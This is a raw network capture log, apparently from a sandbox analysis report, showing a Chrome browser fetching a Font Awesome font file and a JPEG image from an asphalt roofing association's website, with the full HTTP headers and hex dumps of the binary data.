https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/all.min.css?ver=6.1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:53 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:53 GMT Content-Type: font/woff2 Content-Length: 75760 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "14e26b1-127f0-5b419ed3e04c0" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:53 UTC	7649	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 27 f0 00 0d 00 00 00 02 ef d4 00 01 27 96 01 4a 7f 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 1e 06 60 00 97 0a 11 08 0a 8a a0 18 88 89 17 01 36 02 24 03 9e 0c 0b 9e 10 00 04 20 05 8a 2b 07 dd 6a 5b 5d 54 92 42 e4 ee 6f 03 2a f4 dc d6 8a a1 4f 23 4b d2 13 6e 0c b7 c7 81 1c 4a 04 4b c4 db c7 13 d0 1d 70 47 15 de 12 b3 ff ff ff ff 7f d3 b1 10 f1 ee 2f b9 a4 f9 a4 69 bb 76 36 66 3a 00 60 04 41 12 4f 29 e5 01 05 b9 78 45 2b 28 63 cf 65 4a b3 3b c9 e3 bc e8 e0 2b ea 88 b4 9a 84 ed 48 ef d8 29 c6 c2 14 34 1c a7 73 c7 81 0e fc de c8 dd bd 98 07 22 23 22 23 22 23 22 5c 1c ee 5e 1e d9 96 82 46 b8 af f5 8a 27 b2 9b 4e 64 44 64 44 64 d2 ad b5 7a 36 4b f8 f6 bc b8 db 1c 69 36 22 32 32 39 07 de d8 Data Ascii: wOF2''J\|?FFTM`6$ +j[]TBo*O#KnJKpG/iv6f:`AO)xE+(ceJ;+H)4s"#"#"#"\^F'NdDdDdz6Ki6"229
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: c5 76 89 f8 e7 92 bd 18 cd b3 ad 89 af 6c 75 3e f2 ea 51 92 d7 ad 91 59 51 0b 49 bc 95 24 50 02 17 22 8f fc 7d af 0b 83 3a 0d 69 25 e6 e3 01 c6 c7 c9 56 e3 29 7a a4 cf 80 e7 43 a9 9b c1 42 e9 cc 40 7e 32 c0 41 8f 86 58 00 37 34 15 28 77 51 87 e6 04 88 bb 0c 60 f2 64 45 82 a2 1b c4 cc 81 61 22 8e 32 11 42 22 12 98 35 93 09 ea df 33 be 5c 12 c5 d5 e4 f0 1f dc 99 f5 f5 e9 16 d5 6b 33 51 59 b9 d3 62 25 21 9f c5 d4 b7 8d d3 fc 95 53 a1 c8 33 d5 dc 34 42 a8 7e a5 d4 b0 2b be b0 6e cd 35 9e 01 f5 c1 04 fc 3c c7 ad aa 9c d1 22 da ba 5a 6e 5a 45 5e 37 4a c8 10 6d 34 09 2a ee 98 e7 d4 ee a2 bf 77 1d 11 85 04 31 be 3b 65 fb 68 d5 be 1a 56 55 f5 e5 9d 74 c0 d9 95 41 ab 3e 70 dc 77 e7 23 00 66 05 42 dd 2a cb 98 8b 1c 5c 4e dd 2c 97 05 12 21 c4 3b 2c ae 5a 76 09 e1 3f Data Ascii: vlu>QYQI$P"}:i%V)zCB@~2AX74(wQ`dEa"2B"53\k3QYb%!S34B~+n5<"ZnZE^7Jm4w1;ehVUtA>pw#fB\N,!;,Zv?
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 59 86 9a 4a 2f a5 d7 8c b4 55 e9 d1 7b 1c 5e cb d1 25 39 28 9a 9e 09 2e 63 4a 18 eb 1c 1a 46 5e 40 10 6d d2 98 24 69 53 fc ad 71 a4 17 a6 42 e3 3e de a1 a6 96 d6 6e 67 fd 3c 36 93 d0 be 9d be 5b 6c 28 7e 39 07 bd 17 67 8a 4e 8a b3 95 76 e3 40 0c 6c 5e 49 5c ae 02 40 0e 86 63 f4 33 86 ac b7 ad 65 16 86 d2 d2 b5 3b 66 6e f3 04 6b 78 ab b2 1d 5f 91 58 f5 57 ae 79 4f 05 14 ce 72 b6 2a d6 9a d6 53 33 d6 5e e8 6d b8 55 e9 52 cf fa de 13 f7 e4 3d 92 04 e7 24 e4 00 6f fe 39 eb 5c 94 ac 8e 32 ef 9d 73 3e 0b a6 1f af cf d8 cd 5c 70 06 27 8e 6f 1f 7f 8b 69 01 4b bb ae 89 b3 d7 08 df 1a 60 11 83 cc c4 0f 70 ee 82 cb f0 84 5c 49 ba 0c 45 15 39 92 a2 78 12 4e 24 e4 a2 35 f9 94 26 15 a4 21 d6 1d 3a c9 08 c5 e5 7d 3e b1 09 25 66 5e 9a ac 41 e8 a6 04 2c c5 87 df c4 9b 25 Data Ascii: YJ/U{^%9(.cJF^@m$iSqB>ng<6[l(~9gNv@l^I\@c3e;fnkx_XWyOr*S3^mUR=$o9\2s>\p'oiK`p\IE9xN$5&!:}>%f^A,%
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: af 92 ed 5d 1a 80 43 6b 9d 08 23 7a 41 31 dd 7b 9a 71 bf f8 64 2d 32 88 19 f5 0c a3 54 51 70 6c db b0 0d aa a9 ed 2a 49 15 7c e4 8c 68 44 c4 b6 63 d1 92 a6 2e 96 ed 12 f5 ea 58 d4 1b 16 93 d1 a7 24 78 ec a4 8c 32 1b 22 fa 45 d4 ea f1 8d d2 c7 38 fd 37 83 25 e0 70 cb 35 89 7a 67 54 60 4f 70 b9 34 d8 94 ac b2 69 db 67 a5 bd 54 32 10 24 62 91 87 62 f1 6b 79 7e af c9 c0 ef d3 8c a7 89 07 c5 c1 7e 1a 49 b5 fb a4 dc 69 03 45 87 c5 f7 01 35 7a e9 c5 0e 35 be 3f 49 2e b9 e4 0c 6d 55 bd db 26 17 08 0b 11 cb 07 f5 7e 36 ae a9 99 a4 5f 76 e6 18 92 b6 e3 3f 75 2c 13 1f b9 3e 89 41 75 cd a8 95 a5 7e 3c 6b 4e 78 3d 2c f7 6d 78 d6 4a 7d cc 4c 14 9a 22 76 0a c3 3b ec c8 57 2d b8 dc c5 a8 16 45 95 13 51 05 21 a5 b6 19 f5 c5 ea 7c b4 fd 56 92 b8 32 19 1a 44 e5 2a 83 0a 0d Data Ascii: ]Ck#zA1{qd-2TQplI\|hDc.X$x2"E87%p5zgT`Op4igT2$bbky~~IiE5z5?I.mU&~6_v?u,>Au~<kNx=,mxJ}L"v;W-EQ!\|V2D
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 62 64 14 81 44 2f dd b2 28 75 ce 23 6e 77 ea a2 df 7f 3f 3f a4 9b f3 78 0e c4 7c 18 21 2a 92 78 c3 c2 b4 d4 75 a9 0b 7f df e6 53 b2 e4 02 fc f6 64 ff 8c 4e 28 6f 87 be 21 dc 68 7e 28 81 cf d6 e7 e7 bb 3f 83 25 3f 37 8f 11 be f9 b0 b9 9c 00 d0 48 50 6b e6 e6 0f 5f 78 5d 5f f6 40 42 38 e8 ce cf c7 56 5a 02 b1 92 87 4d 4f 89 d7 df 6f 29 27 d0 4b e7 a9 70 ea 1c e9 9f 26 e9 70 f0 9e 08 7d 86 ad 0b 53 5b 1e 71 20 9d b7 15 00 90 09 aa 01 12 ba 6c ee f4 fc 24 f9 fe f0 5b a0 8f bf ee bb 42 a5 f6 d1 15 3b f8 c7 fc ef 74 fe f1 b8 f0 fd f2 24 c4 11 3d 9f 41 ad 58 5d 6f 24 c1 8b 53 4c 91 4a 00 e8 c9 25 3a f8 83 3f bf ab 4f 7c 63 51 6b d9 c8 d2 c5 a0 e9 af 55 d6 5a 2f e2 04 d1 53 8d 46 b9 58 44 96 0b 85 ae f6 2c 62 02 fe 31 93 e6 04 cb 54 91 dd 20 0a 04 83 c6 98 a9 1d Data Ascii: bdD/(u#nw??x\|!*xuSdN(o!h~(?%?7HPk_x]_@B8VZMOo)'Kp&p}S[q l$[B;t$=AX]o$SLJ%:?O\|cQkUZ/SFXD,b1T
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 7d ed 06 64 7d bb 2a 76 1b 9c e0 eb f7 2f 8b 6d 20 df d8 51 9d b7 fe ec dd bb 67 d7 e7 55 ef b8 61 20 b3 59 ff fa f9 26 c2 db 02 5f fe 24 72 3a 45 ed a3 41 a3 22 67 da 21 4c 0e e9 98 2a ea 4e 57 f6 4e 2d c6 e3 3c e6 62 2b 4c 1c 2a a7 f2 9b 3c 4b 0b e0 26 db a7 d4 20 2e 23 c3 84 aa 25 5e be 18 de 73 06 22 bc 21 e6 65 d9 39 62 d2 33 71 e8 94 14 86 49 7a e4 93 38 6e 0a e6 49 71 86 97 9b d5 da af 61 26 ea 4c 4b 91 83 14 d6 d3 97 9a f3 21 b9 e6 3a 7f de 32 f3 2b 9d 41 79 3a 02 65 dc ca ef 32 18 bf 49 e0 06 85 29 20 34 f7 4a 7a 5d 5a a4 39 5f 2c 11 31 be 1b 00 e2 1c 84 94 1d e6 2d df 10 7b 5b cd 72 ef ab 3c 42 6a 6d e2 61 c3 0f 93 78 73 c5 07 31 8c 47 ff 4a c6 6b ca bc f9 d8 51 5c cf ef a4 89 ec 11 36 19 92 41 e3 ca 99 3b 2b ea 99 18 08 1f 95 cc 3a 76 ca 42 33 Data Ascii: }d}v/m QgUa Y&_$r:EA"g!LNWN-<b+L*<K& .#%^s"!e9b3qIz8nIqa&LK!:2+Ay:e2I) 4Jz]Z9_,1-{[r<Bjmaxs1GJkQ\6A;+:vB3
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 50 12 73 c3 5c 5f b7 82 29 d4 bd 95 fa 0c e9 ff f5 d4 d8 13 51 71 ff 02 2b c4 0a 68 fc 12 ef a9 5c 97 b3 6d f5 6a a7 c7 64 6e f3 9c 6e f5 8c 57 3b da 5a c1 69 a9 ee b9 ef 75 0d 99 48 94 c5 24 90 9b 32 f5 50 49 c4 b7 b4 d0 c0 8c c0 92 00 4e c3 20 9d e3 04 a7 6c 67 6e 30 2a 6e bb 16 d7 d7 aa d4 74 50 62 7c f1 26 fc 6c 0e df 18 ca 76 8d b2 ba 8f 93 d3 a1 52 75 ac 71 54 bf dc 76 47 c7 b0 d6 3e 9c 76 bb aa 3d e2 bc 17 0d 34 05 77 ff a9 a1 44 1c f7 04 6d bf 9f 7f 0c 74 3d 0a 25 45 27 f5 1e 6f c2 60 9a 8f f7 24 1d ff 62 84 41 5c d6 a4 3d e8 b7 21 71 4d 56 a6 93 58 4b 48 60 09 f3 4c e9 6a f7 24 27 7b da 2f d7 0f 40 fc 67 f4 a0 03 29 29 3a 83 f0 fa 81 7f 74 f0 22 09 c3 18 4d 89 28 b8 74 81 35 7f 28 81 58 3c 30 7e de e7 3e 58 47 b0 03 74 4f 33 a7 67 c6 10 4f f4 ac Data Ascii: Ps\_)Qq+h\mjdnnW;ZiuH$2PIN lgn0*ntPb\|&lvRuqTvG>v=4wDmt=%E'o`$bA\=!qMVXKH`Lj$'{/@g)):t"M(t5(X<0~>XGtO3gO
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 37 85 e8 90 e0 e5 76 6f 55 8d 39 93 ba 96 80 cf c2 1d 56 05 23 85 f6 73 6b bf ef ee 4b 96 fc fd 59 8b ee e5 d6 6f 14 d7 94 da 5b 5c d5 75 d5 cb 0b 97 43 d7 7c d4 2e 0a ad 3d ff d2 c0 c6 e1 6f b1 d9 1a e4 ec c2 6b 4b bb 78 7f 27 5b 46 7e ac 68 7c 0e b8 3f 93 c4 98 fb 59 b7 2f 06 55 86 fd 53 56 be a4 a2 ec dc 86 b9 5c be fa f4 12 fa e1 b2 b5 36 9b 1e 13 d6 ca e6 5b f0 b2 65 79 f3 c4 66 88 50 53 f0 f7 60 d8 cc ec 13 6d 53 30 9c 39 92 23 c8 79 ba eb 20 7e 0a 00 59 94 9d 89 12 02 3c de 0b d6 73 77 18 22 e6 96 e1 58 77 29 5f cf ad 6d 5b 9a fb 98 d1 79 cb 96 25 b5 ee da 9b 69 2d 3a 92 3f 31 c7 a9 f6 d1 d4 74 b5 9e e0 a7 b6 56 3f 1f e6 f9 59 be 5e 98 d5 0c 4d 3e c4 d5 f2 a6 28 ce ad 1d 23 b5 b4 fd 24 88 4f 51 43 16 85 1a b4 96 09 09 ad aa 1a 28 e1 30 d6 81 d7 93 Data Ascii: 7voU9V#skKYo[\uC\|.=okKx'[F~h\|?Y/USV\6[eyfPS`mS09#y ~Y<sw"Xw)_m[y%i-:?1tV?Y^M>(#$OQC(0
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 01 79 9a 84 df be 4c ef f6 ba f3 8f ce 30 5c 31 37 96 fe 63 a5 9a ad f9 b7 70 54 9c 66 66 d8 60 35 2b e0 b7 2c ec a2 7c f5 43 46 fc 17 b0 c9 ec 7c c6 d4 20 fa 18 4d 06 e0 ce 45 b4 9a 85 fa 74 da 37 7d 6e 9b ee b1 a6 a7 ce 6b 6a e9 90 ab cf ad 7d ac eb 53 53 23 77 d3 7f 5e 86 48 e4 8e 22 af 4b 5e 47 8e 72 bb 26 6d fb 23 a9 36 5e f8 d8 fb 16 24 67 c3 9d e4 ac 88 78 b5 2a bf 6b d0 63 52 f2 a3 23 ae 3f 50 57 36 09 2a d5 5f fa b8 52 31 20 ad 65 1c 53 62 c2 6f 86 18 54 9f a9 96 37 25 aa 32 8b 62 01 bf e8 69 c6 77 6d bb a8 40 46 e9 d8 e6 30 f6 56 eb fa 32 c3 39 e9 36 10 4d 43 0b 4c 2e e9 cd dc d1 68 6b 2c 2f 9f d5 e9 22 a1 39 b3 16 cc 2a f5 75 9a 5c 89 61 fd c6 c8 3c d6 9a 98 d8 68 eb 68 ee 4d bb 65 17 84 02 3d f5 bf 19 a4 95 7e 97 1b 8f d7 60 93 2b 71 c3 d1 7f Data Ascii: yL0\17cpTff`5+,\|CF\| MEt7}nkj}SS#w^H"K^Gr&m#6^$gxkcR#?PW6_R1 eSboT7%2biwm@F0V296MCL.hk,/"9*u\a<hhMe=~`+q
2024-04-23 14:53:54 UTC	2575	IN	Data Raw: 39 c6 c8 b7 09 25 81 0f 06 6e 5e f7 c4 b6 26 7c ab 71 1b 3c ee 8b 6f ca 45 50 75 1c 57 f6 24 64 c0 8b 27 bd 93 f8 ee c6 80 3b ad 77 4c 0b b4 e2 08 e2 71 2a 67 4f 41 92 37 e1 de f4 b0 98 60 32 07 c4 13 47 44 a2 1c aa 62 5b 00 91 70 c1 6f ec 8a 52 3f 40 7e 27 3d e7 c0 f3 63 98 11 29 c3 2a 0b 43 69 c5 9c 21 10 1f 92 83 4b f6 cc ec 4f 96 28 e9 39 3b 09 52 9d 17 c3 80 a5 5b a9 53 ac c7 28 61 bc 23 5f 9c 81 5f c8 70 0f e1 f7 70 e0 c3 79 3f f1 d7 44 fc ec d2 65 ef b5 8f 75 a5 9c 97 ee 72 e4 e8 30 9c 5f 4f 4b 9a cc 7e a7 0b a2 fd 3e fc 3a 85 90 2c 3a 8d 1a 9c e6 64 6e fd b3 80 22 73 d2 c7 71 ce 74 d5 02 60 1a 49 4c a4 3d b3 64 ac c2 8d fd eb c0 0e d2 2f 53 fa 2d 05 67 48 1e 73 c3 2d dc 0b aa 9e 99 f4 41 b7 58 6c 5b ee c9 d5 2f a9 0d 2a 8c 5c 94 f4 a6 03 9d 3a e7 Data Ascii: 9%n^&\|q<oEPuW$d';wLqgOA7`2GDb[poR?@~'=c)Ci!KO(9;R[S(a#__ppy?Deur0_OK~>:,:dn"sqt`IL=d/S-gHs-AXl[/*\:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49852	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	675	OUT	GET /media/2017/10/cmw-E-facade-front-1.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:53 UTC	521	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:53 GMT Content-Type: image/jpeg Content-Length: 2288904 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 15 Dec 2021 09:21:16 GMT ETag: "6001a2-22ed08-5d32bd3eafb00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:53 UTC	7671	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff fe 00 20 43 6f 6d 70 72 65 73 73 65 64 20 62 79 20 6a 70 65 67 2d 72 65 63 6f 6d 70 72 65 73 73 00 ff db 00 84 00 0c 0c 0c 0c 0c 0c 0d 0e 0e 0d 12 13 11 13 12 1b 18 16 16 18 1b 28 1d 1f 1d 1f 1d 28 3d 26 2d 26 26 2d 26 3d 36 42 35 32 35 42 36 61 4c 44 44 4c 61 70 5e 59 5e 70 88 7a 7a 88 ab a3 ab e0 e0 ff 01 0c 0c 0c 0c 0c 0c 0d 0e 0e 0d 12 13 11 13 12 1b 18 16 16 18 1b 28 1d 1f 1d 1f 1d 28 3d 26 2d 26 26 2d 26 3d 36 42 35 32 35 42 36 61 4c 44 44 4c 61 70 5e 59 5e 70 88 7a 7a 88 ab a3 ab e0 e0 ff ff c2 00 11 08 0e a0 15 f0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 02 01 03 04 05 06 07 08 ff da 00 08 01 01 00 00 00 00 f2 e0 02 04 fa 7f 67 0a Data Ascii: JFIF Compressed by jpeg-recompress((=&-&&-&=6B525B6aLDDLap^Y^pzz((=&-&&-&=6B525B6aLDDLap^Y^pzz"g
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: d2 6f 02 40 00 00 80 00 00 00 00 00 20 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 02 09 02 00 00 00 00 00 02 09 80 00 00 00 08 26 24 80 00 00 00 00 00 08 00 00 00 00 02 00 00 22 40 00 00 00 00 00 00 02 00 00 00 00 20 90 20 00 00 00 00 00 20 08 24 00 00 80 00 00 00 00 02 09 22 a9 1c e3 75 de 09 20 a2 fc 9a 58 0f 23 eb 40 aa e2 00 82 41 22 58 00 00 80 00 00 00 00 00 00 22 42 00 00 00 00 00 02 09 00 03 e2 b4 d1 e8 35 d4 95 44 20 40 44 01 13 07 73 dd 8a 55 57 1f c5 72 5f bf d9 f6 79 38 9e cf c8 e5 f7 17 69 e5 fc ec ed 6a eb db e3 74 d0 fd 3f 37 ce ee f9 fa b4 69 c5 eb fd 4f 43 9f aa cb b1 ea b1 7c 67 a8 d0 fe 56 af 27 ec af e1 f2 f9 38 1a 7a 7a a8 f7 58 3c df 2b ad ea 38 9e 63 4f d0 3d 27 cb fd a9 e1 b9 f4 7b 7c be 3b 0d 4f 08 bb b9 da 7b be 8a cf Data Ascii: o@ &$"@ $"u X#@A"X"B5D @DsUWr_y8ijt?7iOC\|gV'8zzX<+8cO='{\|;O{
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: f5 f5 fc f3 6e cc 47 87 f7 18 3d 37 93 f6 ba 4e 9e 04 d6 ee 00 00 01 04 90 00 00 00 00 00 00 00 00 40 04 84 05 35 5e 66 e6 5f d1 cd ab 27 80 fa 0e ff 00 31 bb b2 00 00 00 00 02 25 4b 37 7c f3 d7 1c cf 1f e8 f8 de bf d1 f9 fd 7d 62 00 f9 ff 00 a0 d1 e7 fd 5d 3c 1b fb 3d 00 0a fc be 1e df 4b 70 41 ce e8 05 3c da 3b 1a 00 00 80 00 00 00 00 80 98 00 00 08 00 00 00 08 02 42 03 e5 bc 76 eb 5c 22 a5 75 a5 29 4d 33 6f a2 48 55 ae 22 22 45 90 14 89 f6 5e 92 15 52 8f 35 e3 bd 47 d6 29 f3 1e a2 83 5c e3 84 e8 af 9e f1 c9 ef 7c af 77 71 d4 f9 a7 9d cd af ad b7 83 cc af 79 dc c3 c2 b7 d0 d7 92 38 e7 4f da f9 bf a5 f9 6c 38 3d 66 4e 27 3f 95 94 f4 74 f1 2c e8 7b de 56 8d de 5f d5 75 ae 6c df 3e 3a de 13 a5 87 e9 7e 5e ce a7 86 fa 37 97 e1 ef f7 76 f7 f9 fa d7 cd 71 bc Data Ascii: nG=7N@5^f_'1%K7\|}b]<=KpA<;Bv\"u)M3oHU""E^R5G)\\|wqy8Ol8=fN'?t,{V_ul>:~^7vq
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: bc bd 2d 51 58 95 d5 5d 79 69 f4 db 6a ad 61 64 24 14 11 44 6f 79 d3 11 17 1f 8c e5 fd 6f b8 d1 e0 27 da eb 39 d4 ea 9e 4f 0b 07 b0 f1 7e 6b a8 d9 3d fe ce ad aa 64 f9 b9 ca e5 f4 fa 8f 9b 1e 8e e6 ce fe 6c be 23 07 63 37 37 d6 f3 7d 2f 9c e1 e5 a7 5f 4f da 72 3d 6f 67 50 00 00 00 46 4f 2c 90 dd de 5d 3f 38 3e a1 d1 f2 3e 5b dd f5 b0 7c c0 db e9 56 7d 8f 8e f1 f9 ae bb ab ea 7b 5f 39 e2 1e c7 cc 1d ef 45 e6 b8 7e 96 dc ba 7b 1b 7c 56 0e f7 a2 d9 83 ce f3 e8 f4 7e 4f 27 47 d2 7a bf 2f c7 f4 fd eb f6 79 9d 7c be 3f 47 d2 f3 79 de c3 c3 f1 d2 de c7 83 ef 4e ad 3d 8e 0d 5e 83 0e 0e 33 7a 9d 9d eb f7 1c 3e ef 27 e7 f4 72 7e a7 d4 b7 83 9b a9 d9 54 76 98 00 00 00 00 00 00 00 00 00 00 00 00 02 24 20 00 08 65 00 00 00 00 00 26 00 00 00 00 00 00 00 20 90 80 00 00 Data Ascii: -QX]yijad$Doyo'9O~k=dl#c77}/_Or=ogPFO,]?8>>[\|V}{_9E~{\|V~O'Gz/y\|?GyN=^3z>'r~Tv$ e&
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 47 29 fa 60 00 00 00 00 00 04 00 01 20 b2 00 49 39 7c df 7b 77 19 fa 27 95 e4 a7 3b 7f bf 15 38 7e 24 80 90 09 90 91 c8 02 b0 6e 97 bd 05 8a fc 9f 27 a7 3d 8f 4d ce 5c b7 f7 30 e3 3a 94 ee c7 e4 e9 f5 dd 1b 30 6e d2 60 e5 df ce e8 cf 97 d9 e3 4a 70 5f d5 f4 67 81 ed 7a df 29 d3 7f 63 e0 78 29 d7 fa 1f 0f d1 eb cb 7f cc bd 25 fb b7 73 78 be 8f bb 68 00 10 19 b1 5f 7e 80 29 c9 97 b0 d9 67 87 e3 fc ed 23 8c dd 3c db fd c7 8c df e2 2d f6 d9 39 98 fa 9e 87 7d 1a 28 ef f4 97 cc 74 b0 f8 8e 1f 71 bd 67 9d f5 94 79 8d f5 a7 90 ae fe 8f a8 eb f3 b4 3f 57 e4 de 8b bb b3 3f 99 e1 f7 70 26 4c 1d af 79 c2 f2 6d 8b 5b 51 e9 3d cc f9 fe 27 d4 60 95 e4 61 f4 8f c3 ec 33 80 10 07 9b f9 f5 f9 3b bd 29 cf ea fc fb fa 4d e0 06 5f 26 72 fd 7f 8d f3 3b b5 69 e9 70 15 fa 54 24 Data Ascii: G)` I9\|{w';8~$n'=M\0:0n`Jp_gz)cx)%sxh_~)g#<-9}(tqgy?W?p&Lym[Q='`a3;)M_&r;ipT$
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 3e 6b a7 c5 4f 61 d0 3c 7f 03 b9 bf 61 39 6d 6f 22 86 fd 1d 4f 69 77 03 4d d7 41 df 7c 9c ab 7a f6 e0 bf 41 00 11 20 1c 6f 21 d9 3a 34 f5 69 e7 ef f9 f5 78 eb 7f 47 ca e0 50 cf 7e de 42 eb fa 2f 73 c8 fa 5a bc af b5 d3 ce f9 a7 32 50 62 51 36 ed 7b b8 4b 31 51 37 d1 75 fb fd 37 89 4b 0a a8 a2 66 7a 71 86 15 e8 bf 56 5e c1 ca ea 72 62 86 aa db a2 ab fd bb f8 ae 97 27 d9 7a de 6e 1f 01 5c 5b d9 a2 8e af 15 19 b4 d1 42 5b 7f d0 fc 06 67 fa 4d 7e 57 16 4e 97 3b 77 2f d8 f2 cc 18 52 b6 ae 9e b7 47 d9 5d e3 f3 00 00 48 11 13 5f a9 db 97 e6 d5 2c a8 b5 1a e9 0b da b4 db d6 f4 be 3b 8e 8f d5 d5 47 20 ba cd 49 8d f4 f5 7d cf 1b cc 71 3d 8f 3a ef 34 74 b9 21 a6 bd 07 57 27 2a 2e b2 62 87 ec f4 fc e7 b9 9e 37 53 8b c2 a4 b6 93 4e 9b 79 bb f9 5b ef c7 44 b8 fb b0 ab Data Ascii: >kOa<a9mo"OiwMA\|zA o!:4ixGP~B/sZ2PbQ6{K1Q7u7KfzqV^rb'zn\[B[gM~WN;w/RG]H_,;G I}q=:4t!W'*.b7SNy[D
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 38 f8 33 4f aa 33 fa 4f 57 d2 8e 17 3b c3 72 7d 0e 6c 12 fd ff 00 a1 37 8c f2 b8 3a f1 ed ba bc 7f 47 ab cd bf 4a 9f 9a 72 f6 7a 8d 7e 37 2f 73 1f 37 23 4c 42 c7 7b 2e 56 a6 f8 a2 ab 35 67 d9 87 b7 87 67 1a 56 69 34 d5 6f 47 bb e4 e8 ea db 8b 9d 72 51 31 66 7b 2d b2 fc 77 ed e7 54 c5 8c 57 e9 f1 71 75 fa 4d 97 e3 f3 fc ba 1e db e7 36 57 7b 8b 68 42 7b 9f 46 f8 e5 ba 72 6a c9 d6 f7 fe 33 d5 76 fe 75 85 3b 9c a8 db 3b 3e 83 cf cb 8f 57 5b c3 f5 3c f5 dc 4d fe 6c d7 8c 5b 94 19 47 3d 5f 1b 92 80 3d 97 fd 13 81 c1 c7 d5 4e f4 79 be 6f a7 3e ac 00 00 11 22 f8 1f 25 ba ff 00 55 d0 e5 47 81 3a ff 00 57 59 f0 9c be 5f 72 8e 63 77 36 02 d5 cf a7 d6 fa 8b 5a 54 4c 74 ef 6e 7e 22 68 f5 0c 07 83 d5 9d e2 9c 0b a5 ba 5d bc d4 f6 7a 37 53 ca f2 dc b3 7b e6 13 2d f5 c7 Data Ascii: 83O3OW;r}l7:GJrz~7/s7#LB{.V5ggVi4oGrQ1f{-wTWquM6W{hB{Frj3vu;;>W[<Ml[G=_=Nyo>"%UG:WY_rcw6ZTLtn~"h]z7S{-
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 5c 59 26 ba ed eb f1 ef bb 7f 3f b3 c4 cd b6 8c d0 17 60 52 47 b6 a6 7d 7f 51 f9 ce 4c 25 cf 5d e3 eb af 0d 5d 1c f3 ee 7c 66 0c c4 27 7d ba 54 7b fe ff 00 0b c5 72 76 7a 9f 59 af 98 fe 73 c1 74 6e e9 78 6e bf 7f 5f 88 8c cc 8e c9 74 67 4b ef e7 4d 3b 6f dd cb 95 d5 82 fa 0b a8 df 1f 47 f1 54 9a b8 4f 4f 41 f8 c7 7f 47 0e df 65 7f 29 f5 72 bd 5f 33 d2 79 4f 21 aa 8e b6 3e 56 aa 73 d9 02 6f e4 93 ec 7b f1 e7 7c e7 6f 67 4d ea cd 7b e2 db 7e 74 a2 dd 5c f2 fd 59 6a d9 91 3a 34 51 b2 83 66 4c 5d 3b f9 89 1a 04 df 99 37 a1 6e 64 dc 94 5f 75 09 a2 44 c2 98 f6 56 d5 fa ff 00 2f 76 5d 79 1d da de df a4 de d0 b3 25 51 39 49 cf 64 6a be 40 00 03 cb 79 dd d8 72 73 37 fa 8b b7 d3 c3 ed 26 af 19 c7 ef 79 cb 91 37 e5 d7 67 22 8b 19 a0 9a 4b 23 39 63 64 c2 b3 a7 63 ea Data Ascii: \Y&?`RG}QL%]]\|f'}T{rvzYstnxn_tgKM;oGTOOAGe)r_3yO!>Vso{\|ogM{~t\Yj:4QfL];7nd_uDV/v]y%Q9Idj@yrs7&y7g"K#9cdc
